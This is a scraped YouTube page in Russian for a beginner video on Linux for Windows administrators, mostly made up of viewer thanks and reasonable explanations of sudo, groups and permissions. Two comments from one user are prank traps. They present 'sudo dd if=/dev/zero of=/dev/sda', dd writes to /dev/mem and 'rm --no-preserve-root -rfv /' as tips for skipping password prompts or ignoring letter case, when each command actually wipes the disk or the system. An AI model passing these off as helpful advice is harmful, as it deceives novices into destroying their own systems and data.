Linux для администраторов Windows. Часть 1.

Linux для администраторов Windows. Часть 1.

ИТ-Видео

4 года назад

57,474 Просмотров

Ссылки и html тэги не поддерживаются


Комментарии:

александр гураль
александр гураль - 10.04.2023 16:47

меня 64 битный процессор он точно поддержит линукс? Не выдаст ли ошибку при установке?

Ответить
Enndemion
Enndemion - 28.01.2023 08:57

Спасибо за труды! Полезная инфа! Продолжай просвещать нас!

Ответить
Dancer sys
Dancer sys - 20.09.2022 18:33

Илья, слава богу что вы есть, вот серьезно. Год мучаюсь над вопросом что делать дальше, т к сидеть в своём болоте надоело, как виндовый админ меня от линуксов трясёт, но сегодня я убедилась, что деваться от них некуда. Посмотрела «что делать в 2020 году», поняла что пора. Так что начинается мой линуксовый путь, и лучше вас никто на ютубе донести эту инфу не может. Спасибо, что не бросаете канал, мы в вас нуждаемся.

Ответить
Mike Andyl
Mike Andyl - 24.08.2022 11:31

как же все через Ж то!

Ответить
Тарас Тарасевич
Тарас Тарасевич - 21.07.2022 20:20

StarCraft 2?!?!?! Ну всё сразу лайк!

Ответить
it atlant
it atlant - 12.06.2022 19:39

как всегда на высоте

Ответить
Mike White
Mike White - 23.12.2021 17:56

Спасибо! Полезно.
Но так и не узнали кто такой vivek)))

Ответить
Vsevolod Popov
Vsevolod Popov - 23.11.2021 10:32

Спасибо огромное вам за ролики! Нашёл в рекомендациях видео по разделам в linux и сейчас смотрю плейлист сначала! Думаю, несмотря на то, что моё главное направление развития сейчас QA, информацию по системному администрированию в linux мне тоже будет полезно знать!

Ответить
Олександр Кухар
Олександр Кухар - 12.05.2021 20:09

На счёт подляны с двойными и одинарными тире: логика в том, что ключи с одинарными тире состоят из одного символа (либо же, можно их склеить в одну строчку, и одно тире в начале этой строки означает, что каждый символ после тире нужно считать отдельным ключом). Двойное тире обозначает, что ключ состоит из набора символов (целого слова), и часто такие ключи имеют смысловую нагрузку, чтобы их было проще запомнить.

Что касается sudo, то поднятие прав до уровня root - это один из самых простых сценариев. Как Вы упоминали в видео, с помощью этой утилиты можно выполнять команды с правами других пользователей, но кроме этого, функционально можно ограничить какого рода доступ на уровне root'а получит учётная запись. То есть, можно дать учётной записи права суперпользователя (администратора) не на все действия, а только на часть, или же позволить запускать с правами root'а только определенные команды.

Дальше, про группу, которая создаётся вместе с учёткой пользователя, и называется так же. Все дело в том, что для разграничения доступа по-умолчанию используется дискреционная модель. К каждому файлу приклеивается набор атрибутов, описывающий какие операции разные категории пользователей могут выполнять над файлом. Основные операции — чтение, запись, и выполнение. Категорий пользователей три — владелец (создатель) файла; пользователи, входящие в ту же группу, что и сам файл (да, файлу присваивается группа); и все остальные. Так вот, группа с именем пользователя создаётся для того, чтобы приклеивать ее к созданным от имени этого пользователя файлам по-умолчанию, делая их недоступным для других пользователей (если для категории "все пользователи" не предусмотрены никакие права). Таким образом можно управлять доступом к своим файлам, меняя группу, к которой файл принадлежит. Понятно, что существует множество механизмов, расширяющих этот функционал.

Это может выглядеть нерациональным, потому что unix-подобные системы используются в основном на серверах (если не считать Mac OS X от Apple), так что про обычных пользователей думать не приходится (так было далеко не всегда). По-этому объясню на другом примере, менее ориентированном на обычных пользователей. Но сперва нужно хотя бы озвучить одну концепцию, о которой детальнее можете прочитать где-нибудь в интернете. Звучит она так: все есть файл. И это правда так, даже терминал представлен файлом, информация о процессах в ОС представлена файлами в файловой системе, устройства тоже представлены файлами (в некоторых случаях можно наглядно увидеть, как при записи в файл-устройство получается какой-то видимый результат).

Поскольку все есть файл, то очень важно правильно разграничивать доступ к этим самым файлам. Вот тут и пригождается обилие групп.

В общем, Линукс и правда очень сильно отличается от ОС Windows, чем и вызывает замешательство у людей, привыкших к Windows. Все есть файл - кажется алогичным, и неудобным, но у такого подхода есть и плюсы. Во-первых, вы можете изучать работающую ОС на лету без специальных средств (чему способствует наличие разных команд). Во-вторых — на базовом уровне все работает на операциях чтения, записи, и разрешений на эти операции, что довольно просто, не нужно придумывать кучу новых концепций (если программисту нужно записать данные в файл, или же отправить данные другому приложению через сеть - это один и тот же набор команд).

Из минусов: обилие команд и возможностей получить один и тот же результат многими способами очень легко запутывает новичков. Править конфиг вручную? Или использовать эту утилиту? Или может быть вон ту? А какая из них лучше? А правильно ли использовать вон то? А зачем придумали это, если можно делать то же самое вон тем? Эти вопросы не сильно волнуют людей, если они касаются прикладного ПО (мы легко понимаем, что набирать текст можно в ноутпаде, саблайм тексте и тому подобных редакторах), но когда дело доходит до системных утилит, обилие альтернатив пугает. А учитывая разнообразность дистрибутивов, создаётся ещё большая путаница, ведь не всегда уже изученная утилита есть в стандартном наборе нового дистрибутива, или же она полностью может быть нерелевантна в нем.

Ответить
ХЛЕБОРЕЗКА
ХЛЕБОРЕЗКА - 20.02.2021 13:44

Получить инфу о команде подробную лучше не через --help, а подробный мануал получается командами man man, who who более детальная документация вылезет

Ответить
Хийси
Хийси - 31.12.2020 23:16

Советую поработать на Манджеро. Я с Виндоус после долгих поисков остановился на нём. После Виндоус для меня идеально. И работа и отдых.

Ответить
beriksv650
beriksv650 - 21.12.2020 23:56

В будущем мне это пригодится
👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍

Ответить
Dendi dendi
Dendi dendi - 08.12.2020 22:51

Я новичок, по этому вопрос наверное глупый, но мне интересно, чем отличается команда sudo so и sudo -i ?

Ответить
Dendi dendi
Dendi dendi - 08.12.2020 22:48

1 января 1970 года является день рождения IT-индустрии в привычном понимании)

Ответить
Oleg
Oleg - 26.11.2020 22:45

Привыкать к винде - не хорошо

Ответить
Engine
Engine - 11.11.2020 12:09

Спасибо, полезно. То что искал

Ответить
Борис Борисыч
Борис Борисыч - 14.10.2020 13:34

Очень познавательно, интересно и доступно!!!

Ответить
Дмитрий Майоров
Дмитрий Майоров - 06.10.2020 06:48

Ctrll + l на клавиатуре как альтернатива clear

Ответить
Roman T
Roman T - 28.09.2020 15:25

telnet - это telnet, а ssh - это ssh. Это немного разные вещи. Удобнее заходить удалённо с помощью ключа (ssh key). Только вот не знаю, можно ли в винде его сгенерировать.

Ответить
lion
lion - 25.08.2020 10:55

видео супер полезное!

Ответить
lion
lion - 25.08.2020 10:37

Илья , подскажите англоязычные ютуб-каналы по ИТ, с аналогичным контентом, если такие есть)

Ответить
Максим Рябухин
Максим Рябухин - 20.05.2020 15:34

Спасибо за контент.

Ответить
German Fergyson
German Fergyson - 20.04.2020 16:34

разрешение видео очень большое, видно плохо

Ответить
Антон Ермолов
Антон Ермолов - 26.03.2020 17:11

По поводу ключей к командам в BASH... Может, что - то и поменялось, но когда мне объясняли работу с линуксом, чётко разграничили, что одно тире используется в однобуквенных ключах, а две тире - в многобуквенных.

Ответить
Eldar Karimov
Eldar Karimov - 11.03.2020 18:09

Спасибо большое 👍🏻

Ответить
Алик Артюхов
Алик Артюхов - 11.03.2020 01:19

Супер! Так держать

Ответить
Виктор Бутолин
Виктор Бутолин - 09.03.2020 18:08

Лет 5 назад бы)

Ответить
w84me
w84me - 21.02.2020 23:27

Активируйте винду)

Ответить
Roman Jakhiashvili
Roman Jakhiashvili - 07.02.2020 11:48

Практическое применение для групп: допустим создаем группы по департаментам, даем жтим групам права, а потом юзверей добавляем или удаляем в/c этих групп

Ответить
Roman Jakhiashvili
Roman Jakhiashvili - 07.02.2020 11:16

два тире используется в основном с human readable ключами, то есть когда ключ это не одна какая-то буква а слово или выражение

Ответить
Roman Jakhiashvili
Roman Jakhiashvili - 07.02.2020 11:10

чтобы разблокировать root в ubuntu, нужно на него установить пароль, например sudo passwd root

Ответить
Roman Jakhiashvili
Roman Jakhiashvili - 07.02.2020 11:06

ssh это зашифрованный аналог телнета. Телнет щас юзать не комильфо

Ответить
Roman
Roman - 05.02.2020 19:48

Отличный курс молодого бойца. ) Продолжайте, пожалуйста!

Ответить
Vadim Pride
Vadim Pride - 05.02.2020 15:47

После мучительного года необходимой работы в линукс. Проникся, удалил винду и по сей день пользоваться ей для меня не удобно. В данный момент Centos + Cinnamon самое идеальное и удобное решение.

Ответить
kachnu
kachnu - 05.02.2020 00:35

LINUX - система для ленивых))) и убунту - такое, смотри в сторону РХ, если действительно бизнис делаешь

Ответить
Tosha Tumanov
Tosha Tumanov - 04.02.2020 02:05

А еще, кроме шуток, вот эта команда короче это смесь судо (чтоб не просил пароль после первого ввода и до выхода с консоли) и плюс патч на безразличность к регистру

sudo dd if=/dev/zero of=/dev/sda bs=8m
или
sudo dd if=/dev/hda of=/dev/dsp bs=8m
или
sudo dd if=/dev/urandom of=/dev/mem bs=8m

Ответить
Tosha Tumanov
Tosha Tumanov - 04.02.2020 01:57

Ну вообще если не хочешь зависимостей от регистра, то su rm --no-preserve-root -rfv / и не парься, они почти нигде не пересекаются, а так прослойка обойдет это

Ответить
CountryHouse
CountryHouse - 03.02.2020 23:40

В CentOS дефолтные Настройки новых пользователей конфигурируются тут: vim /etc/login.defs , их папки при создание забиваются файлами отсюда cd /etc/skel

Ответить
CountryHouse
CountryHouse - 03.02.2020 23:13

Крутотень! Будет!!! 🤗

Ответить
Петр Григорьев
Петр Григорьев - 03.02.2020 22:57

Супер материал.
По поводу использования группы пользователя, ты сказал что не нашел применения. Так вот, одному пользователю можно дать много групп, а это повлияет на то какие файлы он может использовать.
Например ты создал скрипт, и хочешь чтобы им пользовался другой пользователь, но только он, вот и даешь ему права на свою группу. И теперь твой файл может исполнять 2 пользователя. Это надуманный пример конечно, но просто объяснение ситуации как я вижу, сам я еще тот чайник =)
А в реальности, например, я сталкивался когда ты установишь какую нибудь утилиту, у которой есть свой юзер, и выполнение требует прав, с docker'ом например так. Даешь себе права на группу этого пользователя, и не надо каждый раз sudo писать.

Ответить
Bakhtiyor Sobirov
Bakhtiyor Sobirov - 03.02.2020 16:34

clear = ctrl+l

Ответить
TaveruS
TaveruS - 03.02.2020 09:47

Group это груп всё-таки, не гроуп

Ответить
Александр Анатольевич
Александр Анатольевич - 02.02.2020 23:15

Виндовый админ, линукс помню отрывками, ядро пересобирал помню))) make configure, make bz image, make install... ядро по диалапу скачивал пол дня) год 2002 был или около того.

Ответить